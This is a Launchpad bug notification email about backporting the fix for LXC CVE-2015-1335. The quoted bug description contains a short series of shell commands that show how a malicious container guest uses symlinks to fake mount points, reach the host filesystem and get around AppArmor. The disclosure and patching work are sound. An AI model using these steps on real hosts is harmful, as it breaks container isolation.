Hi all, today I worked on backporting available fixes for CVE-2015-1335 to LXC 0.7.x (as found in Debian squeeze-lts).
The patch is attached, I am still in the testing-for-regressions phase. Can any of the LXC devs take a look at the patch and maybe see if it is suitable for Ubuntu 12.04, as well? Greets, Mike (aka sunweaver at debian.org) ** Patch added: "Backport fix for CVE-2015-1335 to LXC 0.7.x (Ubuntu 12.04 / Debian squeeze-lts)" https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1476662/+attachment/4529631/+files/CVE-2015-1335.patch -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to lxc in Ubuntu. https://bugs.launchpad.net/bugs/1476662 Title: lxc-start symlink vulnerabilities may allow guest to read host filesystem, interfere with apparmor Status in lxc package in Ubuntu: Fix Released Bug description: lxc-start shuffles around mounts using helper directory /usr/lib/x86_64-linux-gnu/lxc (guest root fs is mounted here) It then modifies mounts operating in guest root directory before invoking init. As it does not check if all mount points are directories, a malicious guest may modify its internal structure before shutdown (or was created using manipulated image) and then when started again, guest may * Access the whole host root filesystem * Block switching from lxc-start apparmor profile to lxc-container- default # Real putold before pivot-root (root fs will end here) mkdir -p /x/lxc_putold # Faked putold ln -s /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold lxc_putold mkdir -p /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold/proc touch /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold/proc/mounts # proc fake mkdir -p /x/proc umount /proc rmdir /proc ln -s /usr/lib/x86_64-linux-gnu/lxc/x/proc proc mkdir -p /usr/lib/x86_64-linux-gnu/lxc/x/proc/1/attr /usr/lib/x86_64-linux-gnu/lxc/x/proc/self touch /usr/lib/x86_64-linux-gnu/lxc/x/proc/1/attr/current touch /usr/lib/x86_64-linux-gnu/lxc/x/proc/self/status The issue was also found during https://service.ait.ac.at/security/2015/LxcSecurityAnalysis.html To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1476662/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
